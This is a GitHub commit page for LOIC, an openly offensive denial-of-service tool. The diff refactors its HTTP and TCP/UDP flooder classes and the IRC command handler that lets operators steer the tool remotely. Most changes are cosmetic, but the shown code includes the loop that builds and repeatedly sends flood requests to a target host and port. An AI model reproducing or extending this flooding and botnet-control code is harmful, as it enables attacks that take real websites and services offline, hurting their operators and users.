Skip to content

Commit

Permalink
Version 1.1.1.17 - Pruned non-usefull code
Browse files Browse the repository at this point in the history
  • Loading branch information
NewEraCracker committed Jan 4, 2011
1 parent d7258cd commit eef59fe
Show file tree
Hide file tree
Showing 5 changed files with 5 additions and 22 deletions.
10 changes: 1 addition & 9 deletions HTTPFlooder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -67,15 +67,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
byte[] buf;
if (random == true)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, new Functions().RandomString(), Environment.NewLine, Host));
}
else
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0} HTTP/1.1{1}Host: {2}{1}{1}{1}", Subsite, Environment.NewLine, Host));
}
byte[] buf = System.Text.Encoding.ASCII.GetBytes(String.Format("GET {0}{1} HTTP/1.1{2}Host: {3}{2}{2}{2}", Subsite, ( random ? new Functions().RandomString() : null ), Environment.NewLine, Host));
var RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
Expand Down
4 changes: 0 additions & 4 deletions LOIC.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,6 @@
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>
</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
Expand All @@ -30,8 +28,6 @@
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>
</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<PlatformTarget>x86</PlatformTarget>
Expand Down
2 changes: 1 addition & 1 deletion Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -11,4 +11,4 @@
[assembly: System.CLSCompliant(true)]
[assembly: ComVisible(false)]

[assembly: AssemblyVersion("1.1.1.16")]
[assembly: AssemblyVersion("1.1.1.17")]
2 changes: 1 addition & 1 deletion XXPFlooder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
try
{
byte[] buf;
if (random == true)
if (random)
{
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, new Functions().RandomString()));
}
Expand Down
9 changes: 2 additions & 7 deletions frmMain.cs
Original file line number Diff line number Diff line change
Expand Up @@ -522,17 +522,12 @@ void CheckParams(List<string> pars)
void OnReadLine(object sender, ReadLineEventArgs e)
{
string command = e.Line.Split(' ')[1];
if (command == "PING")
if ( command.Equals("PING") )
{
string server = e.Line.Split(' ')[2];
irc.WriteLine("PONG " + server, Priority.Critical);
}
else if (command == "422") // 422: motd missing
{
if (OpList != null) OpList.Clear();
irc.RfcJoin(channel);
}
else if (command == "376") // 376: end of motd
else if ( command.Equals("422") | command.Equals("376") ) // 422: motd missing // 376: end of motd
{
if (OpList != null) OpList.Clear();
irc.RfcJoin(channel);
Expand Down

0 comments on commit eef59fe

Please sign in to comment.